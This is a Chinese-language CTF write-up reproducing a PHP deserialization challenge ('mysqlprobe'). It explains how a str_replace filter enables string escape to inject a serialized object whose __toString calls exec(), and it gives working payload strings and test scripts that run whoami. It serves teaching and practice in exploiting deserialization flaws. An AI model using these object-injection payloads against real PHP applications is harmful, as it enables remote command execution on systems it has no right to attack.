文章

强网杯青少年赛mysqlprobe反序列化复现

强网杯青少年赛mysqlprobe反序列化复现

源代码

https://github.com/CTF-Archives/2024qwqsnxbs/blob/main/mysqlprobe.php

解析

这里代码化简

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
class Mysql {
    public $debug = 1;
    public $database;
    public $hostname;
    public $port;
    public $charset = "utf8";
    public $username;
    public $password;
    public function __construct($database, $hostname, $port, $username, $password) {
        $this->database = $database;
        $this->hostname = $hostname;
        $this->port = $port;
        $this->username = $username;
        $this->password = $password;
    }
    protected function connect() {
        $dsn = "mysql:host=".$this->hostname.";port=".$this->port.";dbname=".$this->database.";charset=".$this->charset;
        $this->pdo = new PDO($dsn, $this->username, $this->password, array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true
        ));
        $this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    }
    public function __destruct()
    {
        $this->connect();
    }
}
class Backdooor{
    public $cmd = "whoami    ";
    public function __toString(){
        echo exec($this->cmd);
        return '';
    }
}

其实就是 在 dsn 和 pdo 这里都可以触发 backdooor 的__toString()

如果我们直接传 new backdoor,发包过去,代码会把这个类处理成字符串,没有办法去触发后门

就像下面这个样子

1
O:5:"Mysql":7:{s:5:"debug";i:1;s:8:"database";s:6:"test01";s:8:"hostname";s:9:"127.0.0.1";s:4:"port";i:3306;s:7:"charset";s:4:"utf8";s:8:"username";s:4:"root";s:8:"password";s:48:"O:9:"Backdooor":1:{s:3:"cmd";s:10:"whoami    ";}";}

而我们最后要的效果是(注意引号哦)

1
O:5:"Mysql":7:{s:5:"debug";i:1;s:8:"database";s:5:"test1";s:8:"hostname";s:9:"127.0.0.1";s:4:"port";i:3306;s:7:"charset";s:4:"utf8";s:8:"username";s:4:"root";s:8:"password";O:9:"Backdooor":1:{s:3:"cmd";s:6:"whoami";}}

在源代码里面是序列化后在反序列化,中间有一步匹配替换,这里是当做字符串来处理的,我们就可以考虑字符逃逸

1
$mysqlser = str_replace("flag", "", $mysqlser);

这里还有一点是,也是我踩雷的点

考虑吞掉字符的时候,不能后面的拼接的payload和你的flag字符防止一个点内,会出现多吞或者吞掉的字符对不上的情况,会error

例子

flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag”;s:8:”password”;O:9:”Backdooor”:1:{s:3:”cmd”;s:6:”whoami”;}}

exp

所以我们就可以把 flag 字符放到其他的变量里面

这里的思路就是flag替换为空,前面的定义值的长度动不了,就直接往后吞 看加粗斜体

O:5:”Mysql”:7:{s:5:”debug”;i:1;s:8:”database”;s:6:”test01”;s:8:”hostname”;s:9:”127.0.0.1”;s:4:”port”;i:3306;s:7:”charset”;s:4:”utf8”;s:8:”username”;s:8:”flagflag“;s:8:”password”;s:33:”“;s:8:”password”;s:8:”password”;}”;}

下面就是替换为空的效果

O:5:”Mysql”:7:{s:5:”debug”;i:1;s:8:”database”;s:6:”test01”;s:8:”hostname”;s:9:”127.0.0.1”;s:4:”port”;i:3306;s:7:”charset”;s:4:”utf8”;s:8:”username”;s:8:”“;s:8:”password”;s:33:”“;s:8:”password”;s:8:”password”;}”;}

第一个password成了username变量的值了

那我们就可以计算一下长度

1
2
";s:8:"password";s:33:"
flagflagflagflagflagflag

我这里缺了一个字符,我的payload里面多加了一个空格

cf3886b2dcf13cb9fa867511b36b16e

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
error_reporting(0);
class Mysql {
    public $debug = 1;
    public $database;
    public $hostname;
    public $port;
    public $charset = "utf8";
    public $username;
    public $password;
    public function __construct($database, $hostname, $port, $username, $password) {
        $this->database = $database;
        $this->hostname = $hostname;
        $this->port = $port;
        $this->username = $username;
        $this->password = $password;
    }
    protected function connect() {
        $dsn = "mysql:host=".$this->hostname.";port=".$this->port.";dbname=".$this->database.";charset=".$this->charset;
        // echo "\n".$this->password."-----\n";
        try {
            $this->pdo = new PDO($dsn, $this->username, $this->password, array(
                PDO::MYSQL_ATTR_LOCAL_INFILE => true
            ));
            $this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

            if ($this->debug) {
                echo "Successful!";
                $this->query("select flag from flag");

            }
        } catch (PDOException $e) {
            if ($this->debug) {
                echo "error";
            }

        }
    }
    public function query($sql) {
        return $this->pdo->query($sql);
    }
    public function __destruct()
    {
        $this->connect();
    }
}
class Backdooor{
    public $cmd;
    public function __toString(){
        echo 11111;
        echo exec($this->cmd);
        return '';
    }
}
// 这里 php8 不能执行出命令,php5 可以
$host = "127.0.0.1";
$username = 'flagflagflagflagflagflag';
$password =' ";s:8:"password";O:9:"Backdooor":1:{s:3:"cmd";s:6:"whoami";}}';
$database = "test01";
$port = 3306;
$mysql = new Mysql($database, $host, $port, $username, $password);
$mysqlser = serialize($mysql);
echo($mysqlser).PHP_EOL;
$mysqlser = str_replace("flag", "", $mysqlser);
echo($mysqlser);
var_dump(unserialize($mysqlser));

// 这串 php8 php5 都可以运行
$host = "127.0.0.1";
$username = 'root';
$password ='";s:8:"hostname";O:9:"Backdooor":1:{s:3:"cmd";s:10:"whoami    ";};s:4:"port";i:3306;s:7:"charset";s:4:"utf8";s:8:"username";s:4:"root";s:8:"password";s:8:"password";}';
$database = "flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";
$port = 3306;
$mysql = new Mysql($database, $host, $port, $username, $password);
$mysqlser = serialize($mysql);
echo($mysqlser).PHP_EOL;
$mysqlser = str_replace("flag", "", $mysqlser);
echo($mysqlser);
unserialize($mysqlser);

image-20241126102005035

学习

toString 触发学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
error_reporting(0);
class Mysql {
    public $debug = 1;
    public $database;
    public $hostname;
    public $port;
    public $charset = "utf8";
    public $username;
    public $password;
    public function __construct($database, $hostname, $port, $username, $password) {
        $this->database = $database;
        $this->hostname = $hostname;
        $this->port = $port;
        $this->username = $username;
        $this->password = $password;
    }
    protected function connect() {
        $dsn = "mysql:host=".$this->hostname.";port=".$this->port.";dbname=".$this->database.";charset=".$this->charset;
        $this->pdo = new PDO($dsn, $this->username, $this->password, array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true
        ));
    }
    public function __destruct()
    {
        $this->connect();
    }
}
class Backdooor{
    public function __toString(){
        echo 'toString!';
        return '';
    }
}


$host = new Backdooor();
$username = new Backdooor();
$password = new Backdooor();
$database = new Backdooor();
$port = 3306;

$mysql = new Mysql($database, $host, $port, $username, $password);
$mysqlser = serialize($mysql);
echo $mysqlser;
$mysqlser = str_replace("flag", "", $mysqlser);
unserialize($mysqlser);

输出结果

1
O:5:"Mysql":7:{s:5:"debug";i:1;s:8:"database";O:9:"Backdooor":0:{}s:8:"hostname";O:9:"Backdooor":0:{}s:4:"port";i:3306;s:7:"charset";s:4:"utf8";s:8:"username";O:9:"Backdooor":0:{}s:8:"password";O:9:"Backdooor":0:{}}toString!toString!toString!toString!

(这里基础自行理解)

反序列化数据覆盖

原始数据

1
O:5:"Mysql":7:{s:5:"debug";i:1;s:8:"database";s:5:"test1";s:8:"hostname";s:9:"127.0.0.1";s:4:"port";i:3306;s:7:"charset";s:4:"utf8";s:8:"username";s:4:"root";s:8:"password";s:8:"password";}

我们在正常的序列化值后面加了两个,他会读取后面的数据

1
O:5:"Mysql":9:{s:5:"debug";i:1;s:8:"database";s:5:"test1";s:8:"hostname";s:9:"127.0.0.1";s:4:"port";i:3306;s:7:"charset";s:4:"utf8";s:8:"username";s:4:"root";s:8:"password";s:8:"password";s:8:"password";s:3:"pwd";s:8:"username";s:4:"lmds";}

代码上测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
class Mysql {
    public $debug = 1;
    public $database;
    public $hostname;
    public $port;
    public $charset = "utf8";
    public $username;
    public $password;
    public function __construct($database, $hostname, $port, $username, $password) {
        $this->database = $database;
        $this->hostname = $hostname;
        $this->port = $port;
        $this->username = $username;
        $this->password = $password;
    }
}

var_dump(unserialize('O:5:"Mysql":9:{s:5:"debug";i:1;s:8:"database";s:5:"test1";s:8:"hostname";s:9:"127.0.0.1";s:4:"port";i:3306;s:7:"charset";s:4:"utf8";s:8:"username";s:4:"root";s:8:"password";s:8:"password";s:8:"password";s:3:"pwd";s:8:"username";s:4:"lmds";}'));

输出结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
object(Mysql)#1 (7) {
  ["debug"]=>
  int(1)
  ["database"]=>
  string(5) "test1"
  ["hostname"]=>
  string(9) "127.0.0.1"
  ["port"]=>
  int(3306)
  ["charset"]=>
  string(4) "utf8"
  ["username"]=>
  string(4) "lmds"
  ["password"]=>
  string(3) "pwd"
}
本文由作者按照 CC BY 4.0 进行授权